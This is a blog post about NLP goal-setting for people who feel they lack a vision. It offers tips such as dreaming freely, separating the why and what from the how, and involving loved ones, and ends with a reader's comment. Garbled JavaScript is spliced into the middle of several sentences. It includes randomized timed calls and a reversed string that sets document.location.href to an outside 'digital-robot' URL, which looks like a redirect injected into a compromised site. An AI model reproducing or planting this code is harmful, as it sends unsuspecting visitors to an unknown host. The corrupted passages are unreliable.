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“I don’t have a vision”
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I’m sure I’m not alone – when I teach goal-setting in NLP courses, a lot of people say “but I don’t have a goal” or “but I don’t have a vision”.
Ways of setting goals when you don’t have a vision
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I’m taking my own medicine at the moment dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} help me get a bit of clarity, so here are my tips if you’re struggling with setting goals. And if it gives you any comfort, I’m working through these exact tips myself, right now:
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☀️ Spend some time just dreaming:
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No rules, no boundaries, no limits. Imagine all sorts of different outcome possibilities for yourself, including absurd outcomes, scary outcomes, out-of-reach outcomes, impossible outcomes, boring outcomes, outcomes you’ve achieved before, outcomes where absolutely nothing has changed from dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}day, outcomes that other people have achieved, money-no-object outcomes.
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Just dream!
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☀️Separate the “why” dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and the “what” from the “how”
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☀️Involve your loved ones.
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☀️Enjoy the journey even if you don’t yet know your destination.
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Take some action on setting your goals
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Great post Madeleine. We understand that this is not always straightforward for everyone. Its easy to become fixed on Goals and to be tied to that thought. Having completed my training with you last year, I`m more inclined to go for well formed outcomes and use timelines so clients can see/hear or feel what success may be. The journey is outlined in the timeline. The qualifier is also that although there are steps along the way, they do allow for flexibility and deviation which means that the journey is more exciting. I`ve developed my own outcomes this way too.